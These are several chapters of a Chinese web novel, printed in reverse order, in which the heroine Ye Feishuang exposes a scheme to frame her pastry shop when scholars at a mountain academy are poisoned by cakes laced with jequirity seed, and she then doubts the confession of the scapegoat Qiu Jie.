“既然是大罪,更应该好好审问了,万一他还有同伙呢?要是直接把他打死了,他的同伙不是美美隐身了?以后他的同伙再作案,各位公子不害怕吗?” 那人冷哼道:“哪还有什么同伙?又不是精心密谋的大案,他一人足矣了!” 叶绯霜看向宁衡,给他使了个眼色。 怎么说也当了一年多的师徒了,宁衡这点眼力见还是有的。 师父明显想保这个邱捷,他这徒儿自当为师父冲锋陷阵。 “对,必须好好审,万一有同伙呢?你嫉妒心强想报复人就算了,还嫁祸到我们璐王府头上来了!”宁衡也踹了邱捷一脚,“本世子看你是吃了熊心豹子胆,找死!” 他一声怒吼:“来人,把他给本世子带回璐王府去,本世子要好好审审他!要是有同伙,必须一网打尽!” 小秦氏心头一跳,这怎么行? 杜知府说:“世子,这不合适。” “有什么不合适?啊?哪里不合适?”宁衡中气十足地大吼,“他让本世子很不高兴知道吗?本世子连教训一下都不行了?” 宁衡是璐王府的宝贝疙瘩,从小就是娇惯着长大的。要扮起嚣张跋扈来,这里这些人加起来都不够他看的。 “谁敢拦着本世子,本世子剁了他!”宁衡恶狠狠地发挥着天潢贵胄的蛮横气势,叫自己的护卫,“把这人给本世子带回去!准备好皮鞭夹板老虎凳,本世子非得把这口恶气出了!” 宁衡自认为演得投入,哪里知道让杜知府更惶恐了。 杜知府早就了解过怀瑜书院的学子,这邱捷是中了举人的,虽然名次不算多好,但起码证明他人品没问题。 他带人回府衙是想把隐情审出来,别冤了有志之才。 他真怕这位宁世子把人带回去打死了,那不就成冤案了? 可他这算是秀才遇到兵,宁衡才不和他讲道理。 叶绯霜旁敲侧击让杜知府安心:“我们当然不敢拦世子,但世子可别把人打死了,不然被御史弹劾了,怪不值当的。” “本世子知道,还用你说?杜大人,你也别拦本世子了,你拦不住!”宁衡冷哼一声,锦袖一甩,“带走!” 他像是只骄傲的孔雀,大步流星地走了。 小秦氏人都麻了,表面看着淡定,实则心已经开始狂跳了。 但是她夫君都没拦住宁衡,她又能怎么办? 好好的清谈雅会弄成这样,也只能不欢而散了。 怀瑜书院的山长连连向杜知府赔礼,杜知府温和地叮嘱山长照顾好生病的学子们。 按照本来的计划,傍晚就可以下山回城的。 折腾了半天,这天都黑了,城门都下钥了。 于是一行人索性就在山脚的客栈里住下了。 南山这条官道很繁华,是往来荥阳的必经之路,所以南来北往的商贩、旅人很多,南山脚下的客栈也很多,住得下他们这群人。 吃过晚饭,陈宴来找叶绯霜。 他在圆桌边坐下,开门见山:“我查了这个邱捷,他和我同年参加的乡试,他是荥阳府第四十七名。你是因为这个,所以知道的他?” “是的。”叶绯霜一本正经,“我特意打听过这些,毕竟觉得你们读书人很厉害嘛,就听说了他的名字。” 她又说:“乡试前官府不是会进行审查吗?品行不端的、作奸犯科的……都不能参加乡试。邱捷既然参加了乡试还取得了名次,证明他人品没问题啊,就应该不会做这种事对不对?” 陈宴平静地看着她:“但人在愤怒至极的时候有一些超出理智的行为也很正常。” 叶绯霜:“……你在说谁?” “五姑娘不是切身体会过吗?火气上头,就控制不住想杀人。邱捷或许也是这样的。” 叶绯霜顿时感同身受:“要是书院有所作为,别让他受那么多委屈,他至于这么做?要是有旁的法子替自己伸张正义,谁愿意堵上前程做这种事?” 她话锋一转:“当然,我以上说的是建立在这件事的确是邱捷所为的前提下。但我还是不认同事情是他做的,我觉得他就是个顶包的。” 她要帮邱捷,不光因为邱捷这个人有大才,还因为这事明显就是小秦氏冲着她来的,她有种邱捷是被自己拖入了这个旋涡中的惭愧。 要是按照前世的发展,邱捷现在应该绯袍加身,打马游街,风风光光地当他的状元郎。 一说状元,叶绯霜又好奇了:“这个邱捷,他在乡试里只考了第四十七吗?” “五姑娘觉得他应该考第几?” “解元……再不济也该是亚元,经魁吧……” 怎么说都是殿试得第一的,乡试不该这么差吧? “在五姑娘眼里,我到底是有多差劲?”陈宴似是有些一言难尽,“我考了解元,所以解元就是人人都能考的?” 叶绯霜:“我倒也不是这个意思。” “所以五姑娘仅凭一面之缘,就看出了这个邱捷有解元之才?”陈宴的声音清润淡雅,却怎么听怎么阴阳怪气,“那五姑娘不如去烧个香拜个佛,今晚让你的菩萨给你拖个梦,看看他将来殿试能不能中个状元。” 叶绯霜:“……” 菩萨这个梗到底什么时候才能过去。 “这件事是小秦氏冲我来的,邱捷是为她顶锅的。我得查一查邱捷是不是有什么把柄落在了小秦氏手里。” 陈宴颔首:“陷害举人是大罪。这事查明白后,她就是聪明反被聪明误。” “我觉得今天打邱捷那个人有嫌疑。”叶绯霜说,“他太积极了,感觉着急杀邱捷灭口似的。我倒是觉得可以从他下手,看看他是不是和小秦氏有关系。” “可以。”陈宴点头。 他顿了一瞬,问:“五姑娘说完了?” “说完了。” “那好,该我说了。”陈宴道,“我有一问题想问五姑娘。” 叶绯霜给自己斟茶:“你问吧。” 陈宴垂着眼睫,斟酌思考片刻,才轻声发问:“我与五姑娘,是不是早就认识?” 第96章 替罪羊 叶绯霜走到案几边,查看上边放的糕点。 陈宴也在看,二人谁也没和谁说话。 糕点是方形的,用模具印出山脉和月牙的花纹,合了“登高揽月”的好意头。 叶绯霜拿起一块糕点,捻了捻,糕点的碎屑沾到了指尖。 她把手指凑到鼻端想闻一闻,忽然被陈宴捏住了手腕。 四目相对,画面一转,仿佛回到了上次两个人不欢而散的时候——为了阻止她对傅湘语动手,他就这么捏着她的手腕。 几个月的时间,倒是将当初对峙时的愤怒与怨怼冲散了不少。 两人之间有种虚伪又脆弱的和平。 叶绯霜笑了下,说:“我没打算尝。” 陈宴松开她的手腕:“抱歉。” 叶绯霜闻了闻指尖,微酸,是茱萸果的气味。 她又多看了几块糕点,没发现什么异样。 她有的是耐心一碟碟看过去。 陈宴忽然轻轻点了点一个碟子的边沿。 叶绯霜立刻拿起那个碟子里的点心仔细看,果然有异样—— 茱萸果是红色的,所以这些糕点也应该只是红色的。但是这碟糕点里边有一点点黑色的碎屑,非常少,很难让人注意到。 叶绯霜心中有了个猜测,又将剩下的糕点一一查验,果然还有不少糕点里边带有黑色碎屑。 她猜到了是什么,飞快舔了一下指尖。 舌尖微微苦涩的味道印证了她的猜测。只是这点苦太淡了,在茱萸果酸味的掩盖下很难让人察觉。 陈宴这次没挡住:“你……” 叶绯霜倒了杯茶,说:“没事的,我有分寸。” 她漱完口,问陈宴:“相思子,是吧?” 陈宴英挺的眉头微蹙着,明明白白显示着对她“以身试法”的不赞同。 “是吧?肯定是。” 陈宴绷紧唇角,“嗯”了一声。 他早就发现了,却一直没说,显然在等着她说。 于是叶绯霜走到杜知府面前:“这些茱萸糕里被人加了相思子的粉末。大人请看,这些糕点里有黑色的碎屑,但茱萸果是纯红色的,倒是相思子一端是黑色,研磨成粉后就成了这些碎屑。士子们呕吐、腹泻、气短的症状,也和相思子中毒的症状相符。” 相思子不是什么稀罕物,在座的人都知道。 立刻有人大叫起来:“好啊,原来不是糕点坏了,是有人故意想害我们?” 璐王府的嬷嬷立刻正色道:“我们在膳房里忙活了几十年了,岂会连茱萸果和相思子都分不清?我们绝对不可能弄错!” “与嬷嬷无关。”叶绯霜掰开几块茱萸糕,指给杜知府,“大人请看,这些糕点里边并没有黑色碎屑,只在表层有一些,可见是最后撒上去的。” 杜知府叫来府兵:“把这些糕点接触、经手过的人全都抓起来,好好审问。” 叶绯霜诚恳地说:“大人一定要查明真相,还在场各位一个公道,也还璐王府还有我们味馨坊一个公道。” 杜知府颔首:“郑五姑娘放心。” 叶绯霜看向小秦氏,后者的脸色不怎么好,但还是强撑着体面。 她对叶绯霜露出一抹笑:“哎呀,原来是有奸人陷害,不是你们铺子的问题就行。刚才真是吓死我了,就怕你的店出事。” “谢谢姨母为我考虑。”叶绯霜笑得满脸诚挚,“姨母特意为我们味馨坊介绍了这么大的生意,我岂能辜负姨母的期望?这批点心让我们铺子赚得比前半年加起来都多,这都是沾了姨母的光啊!以后有这种好事,姨母可还要想着霜儿啊!” 叶绯霜的笑在小秦氏眼里就是小人得志的奸笑。 真是可恶。 这个时候,宁衡来了。 他人高马大,锦衣加身,仿佛是携着日光进来的。 他一来,整个愁云惨淡的庐堂都亮了几分。 听几位嬷嬷说完话,宁衡顿时剑眉倒竖:“简直岂有此理!这不是在陷害我们璐王府吗?我父王向来礼贤下士,对士子学子们十分敬重,每年还会从私库里出银子贴补书院。现在竟有人想挑拨我们璐王府和文人士子们的关系,这是大不敬!” 一顶大帽子劈头盖脸地砸下来,小秦氏眼角抽了抽。 但叶绯霜看她神色如常,便知她留了后手。 果然,不到两个时辰,这件事就有结果了—— 一名书院里的粗使杂役出来认罪,说相思子粉是他洒进点心匣子里去的。 他还供出了指使他的人——一位寒门学子。 这位学子年岁不大,看起来也就二十岁左右。 布衣芒屩,满身清贫。 他垂着头跪在杜知府面前,脊背却挺得笔直。 杜知府将杂役的供词复述了一遍,问这名学子:“你可认罪?” 学子答:“认。” “你为何如此做?” 学子答:“因为嫉妒。” 满堂寂静,便显得这学子沉冷的声音尤为清晰:“怀瑜书院,说起来主张有教无类、不以贵贱为择,但实际呢?分内院和外院,高门勋贵入内院,平民百姓只能在外院。 我们外院的,进不了藏书阁,见不到夫子,平时还要忍受这些勋贵子弟的欺辱。今日你们在这里策论清谈,我们只能在后院谯木种田。你们享受着那么好的资源,却不懂珍惜,还逼迫我们来帮你们完成课业,拿我们的诗作策论去沽名钓誉,凭什么?” 一名青衣士子走过来,一脚将地上跪着的人踹翻在地。 青衣士子捂着抽痛的肚子,骂道:“黑心肝的杂种,让你们进书院就是给你们天大的恩赐了,你们以为你们交的那点束脩真够?不想砍柴种地,你们倒是给银子啊,一年八十两,你们交得起吗?还怨恨上了,还敢下毒报复我们,啊?” 这人骂着骂着就还想再打,被府兵们拦住了。 那认罪的寒门学子重新跪直了身子,他一直垂着头,说话声虽然激愤怨憎,但并未让别人看到他的表情。 “既然如此,本官便着人带你回府衙,再行审问。” 踹人那青衣士子又嚷嚷起来:“还审什么?这人心思歹毒,蓄意杀人,把我等害成这样,就该就地正法!” “对,直接砍了他脑袋,让外院那些想造反的看看!” “就该杀鸡儆猴!” 杜知府没有理会这些人,对府兵吩咐:“把犯人邱捷带回府牢。” 听到这个名字,叶绯霜愣了一下,而后没控制住地站了起来。 她一身红太显眼了,一时间庐内所有人都看向她。 陈宴就坐在她身边:“怎么?” 叶绯霜摇了摇头:“不是他。” 她虽然没见过这个人,但是她对“邱捷”这个名字,如雷贯耳。 前世,他是陈宴的同年。 他是那年殿试的状元。 后来陈宴从礼部郎中做到刑部侍郎又做到吏部尚书,邱捷一直在督察院做一个七品监察御史。 她还记得陈宴对邱捷的评价:不枉尺以直寻,不降辱以苟合,实乃雅人。 这么一个正直清廉的人,怎么会因为嫉妒做出残害同门的事情呢? 那青衣士子不怀好意地问:“怎么着啊郑五姑娘,你如何知道不是邱捷?你和他挺熟的?” 邱捷自打进入堂内,第一次抬起了头。 他清瘦的脸上有着掩饰不住的震惊,显然没有料到会有人帮他说话。 第95章 不踩坑 叶绯霜过来时,整个庐舍内横七竖八躺了一地的人。 各个面如土色,好不虚弱。 小秦氏坐在杜知府身边,满面正义:“叶绯霜,民以食为天,食以安为先。入嘴的东西,你都能做出毛病来,害了这么多人,和草菅人命有什么两样!” 那群士子知道了这就是罪魁祸首,顿时嚷嚷起来:“你把我们害得好惨!” “你开的什么黑心铺子?趁早关门完事!” “娘的,你把这些糕点全都吃了,好好体会体会这种感觉!否则本公子和你没完!” 杜知府制止了大家的叫嚷,对叶绯霜说:“郑五姑娘,这些人今日在这里只用过菊花酒和茱萸糕。吃过茱萸糕的个个腹痛难忍,没吃糕点只喝过酒的反而无恙,可见问题很有可能出在这些茱萸糕里。你是味馨坊的掌柜,本官需要你一个解释。” 杜知府声调威严却不失温和,而且条理清晰地向叶绯霜说明了来龙去脉,并没有因为她是个小丫头就敷衍她,更没有直接给她定罪。 叶绯霜记得陈宴说过,这位杜知府治下极严,治家也严,是个好官。 他上任这几个月来,也确实办了一些对民生有利的事,的确不错。 叶绯霜恭敬地对杜知府说:“杜大人,我们味馨坊一向非常重视点心的品质,绝对不会有问题的。” “你还狡辩!我们这么多人不全是证据吗?” “关店,赔钱!” “杜大人,可不能轻饶了她!她就是仗着自己是郑家人,才做这黑心生意!今天吃出事的是我们,要是平民老百姓出了事,谁敢和她去要说法?大人,您可得好好治治这种歪风邪气了” “就说女的不能做生意,做得明白吗?老老实实在家绣花就得了。” “原来在阁下认知中,做生意不是用脑子做,”叶绯霜看向最后说话那人,视线微微一垂,“而是用……啊~那看来阁下做的可真不是一般生意。” 那人登时涨红了脸:“这话都好意思说,你还要不要脸!” 叶绯霜:“我说什么了?” “休想狡辩,别以为我听不出你什么意思!” “我是说,在阁下认知中,做生意不是用脑子做,而是用男儿心性,不然阁下为何说女人不能做?这话有问题吗?” “你……” 男人怒目圆睁,脸色爆红。他发誓不是他想歪了,这丫头片子就是那个意思,她刚才还往他下边看! 小秦氏出声打断了二人的争执:“叶绯霜,你还和人斗嘴?你这什么态度,简直就是不知悔改!你的点心铺子出了问题,你就该道歉、赔偿,争取大家的谅解!” 杜知府扫了小秦氏一眼,她低头闭了嘴。 杜知府说:“郑五姑娘,为了查明此事,本官需要暂时将味馨坊查封,将铺内的伙计下狱审问,包括郑五姑娘你,也得先去一趟府牢。” 叶绯霜说:“杜大人,绝对不可能是糕点的问题。” 小秦氏虚伪地说:“叶绯霜,我也不觉得你是故意想害人,在点心里边掺了药什么的。可能就是点心坏了,才把大家吃出了毛病。 毕竟你的铺子就那么大,人手就那么几个,这次要做这么多茱萸糕,提前好几天就开始忙活了吧?哎,这种东西放不住啊。 你要是觉得太多了做不了,可以一开始就拒绝嘛。何必为了赚钱非得接了,闹出这么一档子事来。你这不是拿大家的健康开玩笑吗?这可是行业大忌啊!” 小秦氏一通话看似在为叶绯霜开脱,实则坐实了她利益熏心,为了赚钱不顾一切。 点心坏了是意外,蓄意下药是谋害,前者的情况是要轻一点。但这么多人吃出毛病,意外还是谋害结果也差不多了,恐怕都是以死谢罪。 陈宴捻着一块茱萸糕,在一边静听。 这明显是个套,叶绯霜不该跳进去。 在杜知府还没上任的时候,他就和她谈过小秦氏,她表示了会小心。 但又忍不住想,若是她真的不慎中了招,他该用什么法子替她开脱。 大昭律例从他脑海中飘过。 大昭商业发达,对于奸商惩罚极为严格。关店下狱都是最基本的惩罚,还有数倍于利润的赔偿,要是闹出人命来,还要以命抵命…… 杜知府着人带叶绯霜去府衙,还让一队府兵去城内味馨坊,把店中人都抓了。 小秦氏几乎要压不住嘴角的笑。 叶绯霜不是很能打吗?等她戴上镣铐,被关进府衙,她还能怎么打? 她也不是要立刻给叶绯霜定罪,她只是想把她抓进府牢里。 只要进了大牢,她就有的是法子让这个死丫头出不来。 “杜大人,不用麻烦您的府兵了。”叶绯霜说,“做这些点心的人就在外头呢,直接传她们进来问话就是了。” 陈宴抬眼看向她,轻轻扬了扬眉。 很快,府兵带了几名妇人进来。 杜知府问:“你们便是味馨坊的点心娘子?” 为首那中年妇人道:“回禀知府大人,我们是璐王府膳房的仆从。” 小秦氏脸上的笑容僵住了。 妇人继续说:“璐王妃爱吃味馨坊的点心,我经常去帮忙采买,一来二去,便认识了味馨坊的掌柜郑五姑娘。 那日,郑五姑娘对我说,府衙为重阳佳宴订了一大批茱萸糕。味馨坊人手少,恐怕做不完,但又觉得这代表着府衙对味馨坊的肯定,不好拒绝,想请我帮忙。 我问了王妃,王妃说杜大人带着官员士子们登高过节实在是一桩雅事,璐王府能帮就帮。于是,我们就替味馨坊,做了这批茱萸糕。” 小秦氏忙道:“各位嬷嬷做的点心肯定是好的,定然是味馨坊做的那些有毛病,才把大家吃坏了。” 嬷嬷说:“不是啊,这批茱萸糕全是我们璐王府做的。郑五姑娘把方子和模具全都给了我们,她们拿什么做?就连原料也是我们璐王府自己采买的呢,茱萸都洗得干干净净。” 小秦氏:“……” 嬷嬷对杜知府说:“因为知道糕点是给诸位大人和学子吃的,王妃无比重视,让我们一应材料都用最好的。 点心是我们膳房十余人今天三更天起来现做的,做好后放进了冰匣里,一路小心送来书院,绝对新鲜,不会坏掉,更不可能把人吃出毛病。” 杜知府思忖片刻,说:“嬷嬷所言本官记下了,但这么多人身体有恙是事实,还需各位嬷嬷配合查证。” 嬷嬷点头:“是。” 她又看向叶绯霜,歉意地说:“对不住了郑五姑娘,本以为可以帮到你,却没想到给你惹了麻烦。” 叶绯霜忙道:“是我给嬷嬷带来了无妄之灾,还有王妃……唉,我真是对不住王妃。” 小秦氏的眼皮子狠狠跳了跳。 她千算万算,没算到叶绯霜会把这批点心外包出去。 还他娘的包给了璐王府。 她摇身一变成了中间商,干干净净地把自己择出去了。 这倒好,府衙和璐王府对上了。 姑母果然没猜错,这死丫头早就攀上璐王府了! 第94章 出问题 宁衡满脸崇拜地看着叶绯霜:“师父,你的箭法怎么也这么好?” 刚才斜里出来一支箭,他都没反应过来,师父就给打落了。 这个反应力和准头,绝了。 他们璐王府的府兵里也有厉害的,但那都是练了几十年甚至一辈子的,他师父这才多大点。 叶绯霜一边给鹰的翅膀上金疮药,一边说:“不是我吹,我好像在武学方面特有天赋。” 宁衡:“……师父你真的好不谦虚。” “从小就听我养父这么夸我,说我进步神速,还能举一反三,实乃武学奇才,天赋异禀。” 宁衡:“……可以了。” 叶绯霜喃喃自语:“难道我就是传说中的天选之女?天将降大任于我,故赐我天赋,磨我心智,增益我所不能。” 宁衡:“……不要再讲了好吗?” 他要羡慕死了。 天知道,这都大半年了,他只跟师傅学会五招枪法,还不太精通,只能勉强打一打府兵里最低等的那批,还未必能打赢。 最要命的是,他打起来还不好看。 他师父长枪一出,翩若惊鸿婉若游龙。 他长枪一出,动作迟缓蠢钝如猪。 他母妃说,这倒不至于,猪没这么笨。 宁衡抱着腿坐在地上,悻悻地说:“还指望着学一身武艺,下次进京好好教训教训谢家那几个出口气呢,不知道还有没有机会。” 叶绯霜道:“我养父和我说过,谢家以武传世,谢家枪乃当世第一枪。” 郑茜静兴致勃勃地问:“那五妹妹,你的枪法和谢家枪哪个厉害?” 叶绯霜摇头:“不知道诶,我没见过谢家人,更没见过谢家枪。” 宁衡一拍大腿:“师父,你真该去陈晏的加冠礼的。谢二去了,他是谢家这一代中的佼佼者,据说枪法冠绝,你要是去了就能和他切磋了。” 前世,叶绯霜就知道陈宴有两位至交好友:卢季同和谢珩。 不过她只闻其名,未见其人,不知道这位谢二公子长什么样。 “以后有机会吧。”叶绯霜很期待,“能和高手过招是好事,可以发现不足,提升自我。” 宁衡早就发现了,他师父特别努力。 平时教他枪法时,他师父也会在旁边练。 他练一刻钟就得缓一缓,他师父能连着练一个时辰不带停的。那架势活像话本子里被灭了全师门的遗孤,肩负着为师门报仇雪恨的天命,所以才砥砺前行。 不怕人有天赋,就怕有天赋还他娘的努力。 譬如他师父,譬如陈宴。 叶绯霜把包扎好的鹰扔宁衡怀里,开始给郑茜静烤麻雀。 香味一出,宁衡就开始吞口水:“怎么这么香?怪不得二姑娘念了一路。” 郑茜静眼巴巴地望着串在树枝上油滋滋的小麻雀,也吞口水:“是吧?真没骗你,我五妹妹做的野味真的特别好吃。” 这头三人在开小灶,书院里的在吃茱萸糕。 茱萸糕和平时吃的花糕味道不太一样,有点酸、有点辣,第一口觉得吃不惯,多吃两口又觉得很上头。 卢季同凑到陈宴身边:“谢二又溜了?” 陈宴头也不抬地看着手中的一篇策论:“你还不知道他?他能在这里坐住才怪了。” 卢季同把手中的茱萸糕凑到陈宴嘴边:“别看了,尝尝啊,听了半天你不饿?” 陈宴微一侧首避开他的手。 卢季同“啧”了一声:“新拿的,不是我吃剩的!你知道这是哪里的点心?味馨坊的,味道可好了,吃不吃?” 陈宴微抿唇角:“不吃。” “又怎么了陈少爷?”卢季同问,“你和郑五姑娘是不是又吵架了?怪不得你加冠礼都没邀请人家。我还听锦风说,你在颍川这大半年,都没给人家去一封信?” 陈宴的声音沉而冷:“我请了。” 卢季同乐了:“呦,合着是人家没去啊?啧啧,你加冠这么大的日子人家都不乐意去?天道好轮回啊,你陈三也有这么被人嫌弃的一天?” 在陈宴准备割袍断义的清冷眸光中,卢季同幸灾乐祸地把点心塞自己嘴里,继续补刀:“要不是一桩婚约扯着,你连我霜儿表妹的衣角都见不着……” 话没说完,卢季同的面皮忽然抽了一下。 肚子里咕噜噜响了几声,一阵紧迫的绞痛感潮水般袭来。 “他娘的。”卢季同捂着肚子起身,“人有三急。” 接下来,不断有咕噜噜的声音在庐舍内响起,越来越多的人面色煞白、捂着肚子往外边跑。 很快就听见外边传来争执声:“好兄弟,让我先。” “让不了,我憋不住了。” “我更急……娘的你别拽我!” “都有人了?那我去树林……” “谁有纸?” 好好的辩文现场乱成了一锅粥。 杜知府没有中招,立刻下令:“这么多人全都腹痛难忍,想必是吃食出了问题。快把大家吃过的东西收集起来,好好查验!” 放眼望去,庐内有几十条案几,每条案几上只放了一个装有菊花酒的酒壶,还有装了茱萸糕的点心匣子。 想起卢季同说这些茱萸糕是味馨坊做的,陈宴蹙起眉头。 庐内还有几个士子幸免于难,大家一交谈,发现唯一的共同点就是没吃茱萸糕。 “看来问题就在这茱萸糕上了!”一名士子说,“不知道出自城内哪家点心铺子?入口的东西都做出毛病来,这不是害人吗?” 又有人说:“难怪我刚才闻着这些糕点就觉得有酸味,所以才没吃。看来就是放坏了啊!黑心的商家,赚这种丧良心的钱!杜大人,可不能饶了这些奸商!” 陈宴道:“山茱萸本就偏酸,这些糕点里其它佐料加得不多,盖不过酸味也很正常。” 刚说话那人不满:“三郎,你怎么还替那黑心商家说话呢?瞧瞧外头的兄弟们都难受成啥样了!” “陈公子说的也是事实,诸位郎君莫急。”杜知府说,“若真是奸商犯事,本官定秉公处置。” 杜知府立刻着人去找小秦氏,毕竟今天的茱萸糕就是她安排采买的。 一些吃得比较少的人陆续回来了。有的还能坐下喝杯热茶缓一缓,有的就躺在席子上揉着肚子不断叫唤。 吃得多的,有的蹲着站不起来,有的刚提上裤子走了两步就又脱了,有的嚷嚷着赶紧叫大夫,鸡飞狗跳。 反正文人的风雅是荡然无存。 陈晏对山长说:“需立刻准备盐水,再煮些绿豆甘草汤,让大家服下,尽量把吃下的东西吐出来。” 山长点头:“已经着人去准备了。” 陈宴又让锦风去看看卢季同的情况严不严重。 锦风去找了,回来禀告说卢四公子虽然虚弱得起不来,但还能出声让人送草纸。目前只是腹痛,没有别的症状。 陈晏又去问那些中了招但没那么严重的人的情况。 很快,小秦氏就来了。 听说是自己采买的糕点出了事,她急忙对杜知府说:“这些糕点是我从味馨坊采买的,那铺子的掌柜是郑五姑娘,她就在这儿,我这就叫她来问话!” 闻言,顿时有人冲陈宴叫嚷起来:“陈三,难怪你刚才偏帮着对方说话,合着你是偏袒你未婚妻呢!” 第93章 不低头 荥阳三面环山。 西边的是庇阳山,南边那座山的名字就要朴实无华一点了,就叫南山。 也是郑茜媛和郑文博出事的地方。 南山比庇阳山高,山顶有一座很大的道观,乃前朝所建,在本朝太祖皇帝时重建,发展成了一个书院,叫怀瑜书院。 重阳要登高,所以杜知府决定带领着荥阳的大小官员、城内士子们一并爬南山,然后去见怀瑜书院内的学子,一起论经辩文。 实乃风雅之事。 男人们有乐子,女人们当然也有。 小秦氏也跟着开了个重阳宴,宴请城内的夫人、贵女们。 她的宴当然不在怀瑜书院里,但是也离得不远,在书院旁边的一片槐树林里。 不过她们不需要靠两条腿爬山,直接坐马车从官道上去就行。 不用劳累,所以郑茜静也赴约了。 自打认识叶绯霜后,她就觉得自己坐不住了,总想出去玩。 其实郑茜静本来在过年之后就该回京的,她私心不想,于是多呆了一段时间。结果呆着呆着,郑老太太瘫了。 这下好了,她也不用回去了,就留下来替她母亲大夫人侍疾了。 她自己都是个病秧子,有什么可侍的,无非还是说出去好听。 郑茜静在叶绯霜跟前转了个圈儿:“五妹妹,看我这新裙子怎么样?” 桃红色的交领襦裙,阳光打上去又折到脸上,倒是把她没什么血色的脸色衬得红润了几分,显得病态没那么重了。 叶绯霜诚实点头:“好看。” “我长这么大就没穿过这么艳的颜色,还有点不习惯。但是我早上照镜子时,觉得还挺好看的。” 她的丫鬟月影笑着说:“是好看,很衬姑娘,姑娘以后可多裁些亮色衣衫。” 宁衡见了郑茜静,也夸她好看。 “鲜亮些就是好看嘛!”宁衡拊掌说,“真不知道那些人为什么爱穿白,我觉得不像仙人,倒像是服丧的。” 宁衡今天穿了件紫色的锦袍,鎏金革带,发束金冠,远远望去金光一片,和只开屏的孔雀似的。 他才懒得爬山,骑了匹高头大马跟在叶绯霜和郑茜静的马车旁边一起走官道上山。 一个累得够呛的官员见状,又是嫉妒又是不满地说:“堂堂亲王世子,竟然不以身作则,不为文人们做表率,反而偷奸耍滑,实在惫懒!” 这一段登山小径和官道很近,这话当然被宁衡听到了。 他不满地嘟囔:“关他什么事?真烦人。” 叶绯霜把帘子掀开一条缝,低声道:“世子,你就说……” 宁衡听罢,立刻兴奋地嚷嚷起来:“重阳登高,不光是为了避灾祈福,还寓意着人往高处走。本世子已经是亲王世子了,还要往哪个高处走?本世子好心避嫌,你却想煽动本世子,居心不良!” 亲王再往上,就只能是皇帝了。他让亲王世子登高,难道是让人家造反? 天大一顶帽子砸下来,把那官员砸得一个趔趄,差点栽倒。 马力比脚力快,三个人很快超过了一众官员,登了顶。 怀瑜书院里已经聚集了一群人,不光有本书院的学子,还有全国各地游学、游历来此的士子。 有人眯眼看着远方:“那是璐王世子吧?他旁边那两个姑娘是谁?” 有人回答:“一位是郑二姑娘,另一位……” “是郑五姑娘。” 众人闻言,顿时转头看向陈宴。 “陈三,可是和你有婚约的那位郑五姑娘?” 陈宴略一颔首。 那人笑里带着奚落:“华光璀璨,倒是与众不同,和一般的世家贵女就是不一样哈。” 陈宴淡声道:“阁下和其它士子也不同。” 意思就是,旁人都没说什么,就你对人家姑娘评头品足的。 都是七拐八绕的人,谁听不出谁的言外之意? 陈宴起身离开。 他和怀瑜书院的山长是忘年交,山长给他去信,特邀他来参加此次重阳宴,他这才来了。 这里的人他都不熟,没什么好说的。 站在溪边,他往叶绯霜那边看去。 拜她那一身红所赐,实在很好认。 半年不见,她又有些变化,长大了一点。 旁人长大,变的是气质,从幼稚变成熟。 她长大,主要变的是身形,气质变化倒不大。 若换做以前,他现在就过去和她说话了。 但上次的不欢而散实在难堪,他的确低不下头了。 人都是有底线的。叶绯霜那极具侮辱性的“狗男女”三个字,无疑触了他的底线。 他无法再低头主动去找她。 杜知府一行人很快登了顶。 书院山长带着一众学子迎上去,众人寒暄问好,然后列坐于茂林修竹之中,开始了一些“之乎者也”的长篇大论。 谢珩受不了这个,偷偷离席了。 他们谢家是武将世家,平时都用大刀长枪说话,不用嘴。 他叼着片树叶坐在溪边的一块大石头上,眯眼望着不远处的女眷,想知道那位让他好兄弟难受的郑五姑娘是哪个。 他要教训教训她,让她知道世道险恶,他谢珩的兄弟可不是好欺负的。 娘的,出来得太快了,早知道先问问锦风了。那么多十来岁的小姑娘,他哪儿认识? 谢珩放弃了,仰面躺在大石头上。 空中传来一声清戾,一只矫健的雄鹰掠过长空。 谢珩顿时从马的挎袋里拿出长弓,钻入林中,追着雄鹰去了。 瞧见后,他眯眼张弓,利箭破空而出,眼看着就要将那鹰打下来,却不料旁边斜出一支箭,将他的箭打落了。 第二支箭紧跟着出来,贯穿了雄鹰的翅膀。 谢珩立刻追向鹰落的地方,行出不远后,看见一红衣姑娘,左手持弓,右手捡起了受伤的鹰。 他立刻开口:“姑娘……” 叶绯霜转过头来,看见他手中的弓,了然:“公子刚刚的箭是被我打落的。” 她朝谢珩点头,微带歉意:“我徒弟看上这鹰了,我打来送他玩。公子刚刚的箭是冲它颈项去的,会要它性命,我只能打落了,对不住。” 说罢,她干脆利落地转身走了。 谢珩隐约听见一个年轻男子的声音:“师父,找着没?啊呀,这么大一只……师父,你可太厉害了……” 谢珩望着叶绯霜离去的方向,老半天没回过神来。 离了边地,他还没见过能把他的箭打落的人。 更何况还是个这么年轻的小娘子。 看她打扮,明显是个贵女。 红衣长弓,英姿飒沓。 “绝了。”谢珩喃喃自语,“荥阳竟有如此妙人。” 第92章 挖个坑 陈夫人的提议在大昭十分常见。 很多门第没那么高的家族,都会想着法儿地把家里的姑娘送到一些德高望重或贤名在外的贵妇身边教养一段时间。 就是为了将来议亲的时候能说一句“是某位夫人亲自教养过的,品德绝对没得挑”,为此结一门好亲事。 叶绯霜三婶卢氏的女儿,也就是郑家三姑娘郑茜薇,现在就在卢贵妃身边。 当然,郑茜薇的目标是皇子。 更具体点,是能继承大统的皇子。 荥阳郑氏想出一位皇后。 陈宴拒绝了母亲的提议:“郑五姑娘自小流落在外,去年才终于回到父母身边。母亲素来心善,如何忍心让她再和父母分离?” “你少给我戴高帽,没用。”陈夫人冷漠地说,“郑家的家教我实在不敢苟同,除非我亲自教养她,把她的性子给扳过来,否则我绝对接受不了这样的儿媳妇!” “母亲也看到了,那天五姑娘失态是因为忧心父母,这证明她至纯至孝。我朝以仁孝治天下,无可指摘。” “那她说她不信国法家规,这又算什么?她口口声声作践礼法,若在朝中,她就是乱臣贼子!”陈夫人一字一顿,“她和你说那些话,叫失态。她若和君主说那些话,叫什么?叫大不敬!” “你出仕后,她亦要和命妇们交际。若她到时候再‘失态’,岂不是要连累我陈家全族?” 陈宴不语,陈夫人饮了口茶,也放缓了语调:“不是我非要让她离开父母,只是她性子执拗又要强,别人来教,我的确不放心。” “陈宴,你仔细思量,好自为之。” 陈夫人说罢,优雅转身离开。 陈宴书房的灯彻夜未灭。 他手边有厚厚一叠纸,上边记载着叶绯霜的大小事迹。 他这段时间已经翻看了无数遍。 没有发现自己和她有任何仇怨。 她的养父也只是个很普通的猎户,农户出身,和陈家也没有世仇。 她的生平越干净,越显得她对自己的敌意莫名其妙。 